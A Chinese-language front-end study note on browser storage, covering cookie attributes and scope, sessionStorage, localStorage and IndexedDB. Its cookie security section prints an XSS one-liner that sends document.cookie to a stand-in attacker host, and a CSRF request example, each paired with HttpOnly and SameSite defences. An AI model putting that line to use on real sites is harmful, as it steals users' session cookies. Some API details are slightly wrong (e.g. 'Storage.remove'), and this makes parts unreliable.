客户端缓存
Cookie
- 由HTTP协议生成,主要供HTTP协议使用。
- 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。
当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 Set-Cookie 选项。浏览器收到响应后通常会保存下 Cookie,之后对该服务器每一次请求中都通过 Cookie 请求头部将 Cookie 信息发送给服务器。另外,Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。
Cookie 主要用来分辨两个请求是否来自同一个浏览器,以及用来保存一些状态信息。Cookie 主要用于以下三个方面:
- 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
- 个性化设置(如用户自定义设置、主题等)
- 浏览器行为跟踪(如跟踪分析用户行为等)
当服务器准备开始管理客户端的状态时,会事先告知各种信息。
NAME=VALUE | 赋予 Cookie 的名称和其值(必需项) |
---|---|
expires=DATE | Cookie 的有效期(若不明确指定则默认为浏览器关闭前为止) |
path=PATH | 将服务器上的文件目录作为Cookie的适用对象(若不指定则默认为文档所在的文件目录) |
domain=域名 | 作为 Cookie 适用对象的域名 (若不指定则默认为创建 Cookie 的服务器的域名) |
Secure | 仅在 HTTPS 安全通信时才会发送 Cookie |
HttpOnly | 加以限制, 使 Cookie 不能被 JavaScript 脚本访问 |
其实cookie也没什么好说的,
document.cookie
一把梭就完事了。 ——MDN
要点:
-
Cookie中的同源只关注域名,忽略协议和端口。所以
https://localhost:8080/
和http://localhost:8081/
的Cookie是共享的。 -
如果不设置cookie过期时间expires或者max-age,浏览器程序结束后删除cookie。
-
通过
Domain
和Path
标识Cookie的作用域:即允许Cookie应该发送到哪些URL-
Domain。两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置
document.domain
共享 Cookie。例如:A网页是
http://w1.example.com/a.html
,B网页是http://w2.example.com/b.html
,通过设置document.domain='example.com'
两个网页可以共享Cookie。https://www.foxrenderfarm.com https://task.foxrenderfarm.com -
Path。Path标识了主机下哪些路径可以接受Cookie。
例如:设置
Path=/docs
,则以下地址都会匹配:/docs /docs/Web/ /docs/Web/HTTP
反过来,则不行
-
-
存在安全问题
-
跨站脚本攻击(XSS)
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
使用HttpOnly属性可防止通过 JavaScript 访问 cookie 值。
HttpOnly是包含在Set-Cookie HTTP响应头文件中的附加标志。生成cookie时使用HttpOnly标志有助于降低客户端脚本访问受保护cookie的风险。
-
跨站请求伪造(CSRF)
(new Image()).src="https://www.example.com/index.php?action=delete&id=123";
用于敏感信息(例如指示身份验证)的 Cookie 的生存期应较短,并且
SameSite
属性设置为Strict
或Lax
,阻止第三方cookie。CSRF(Cross-site request forgery)跨站请求伪造:恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求。
-
-
Web Storage
-
使用键值对存储数据,存在数据类型限制(字符串、数字等)
-
特定于页面的协议,每个域都有一个单独的数据存储区。
用法:
Storage.setItem(key,value) //保存数据,value会转为字符串
Storage.getItem(key) //获取数据
Storage.remove(key) //按键删除数据
Storage.key(index) //获取Storage里序号为index的数据的键
Storage.clear() //删除所有
sessionStorage
-
页面会话在浏览器打开期间一直保持,并且重新加载(浏览器刷新按钮触发,包括
window.location.reload()
)仍会保持原来的sessionStorage。 -
一个浏览器Tag对应一个sessionStorage,同一个url在不同Tag的sessionStorage不共享,关闭Tag则清除对应的sessionStorage。在浏览器程序没有结束的前提下,可通过打开浏览器历史记录恢复相应页面的sessionStorage。
-
在当前页面通过
<a target='_blank'/>
打开新的页面,则新的页面中的sessionStorage和原页面没有关系;通过以下方式打开新页面,则新旧页面共享会话。
<a href='' target='_blank' rel="opener"/> //rel规定当前文档与被链接文档之间的关系 window.open() <a href=''/>
在当前通过
<a _target='blank'/>
页面跳转新的页面,则新旧页面共享sessionStorage(页面间跳转通信)。 -
在新标签或窗口打开一个页面时会复制顶级浏览会话的上下文作为新会话的上下文。
顶级浏览会话是指如果页面内部嵌套了
iframe
,当iframe
加载的时候,是可以使用当前页面的sessionStorage的。
localStorage
- 存在于单浏览器,以文件的方式存储在本地。
- 浏览器程序结束后再打开网页,localStorage仍然存在。
- 相较于sessionStorage,localStorage在相同url不同Tag间共享。
IndexedDB
背景:Web Storage不提供搜索功能,不能建立自定义的索引,不适合存储大量数据。
IndexedDB 是一种底层 API,用于在客户端存储大量的结构化数据(也包括文件/二进制大型对象(blobs))。
IndexedDB 是一个事务型数据库系统,类似于基于 SQL 的 RDBMS。 然而,不像 RDBMS 使用固定列表,IndexedDB 是一个基于 JavaScript 的面向对象数据库。
就数据库类型而言,IndexedDB更接近非关系型数据库(NoSQL)
特点:
- 键值对存储。所有类型的数据都可以直接存储,每个数据记录都有对应的独一无二的主键。
- 异步。
- 事务。支持事务(transaction),意味着一系列操作有一步失败,就回滚到所有事务发生之前,避免了只改写了一部分数据的情况。
- 同源限制。网页只能访问同域名下的数据库。
接口:
IndexedDB
把关于数据库的不同实体抽象成一个个对象接口
。
- 数据库: IDBDatabase
- 对象仓库:IDBObjectStore
- 索引: IDBIndex
- 事务: IDBTransaction
- 操作请求:IDBRequest
- 指针: IDBCursor
- 主键集合:IDBKeyRange
用法:
https://codesandbox.io/s/youthful-hoover-yojhm?from-embed
参考
HTML 标签的 target 属性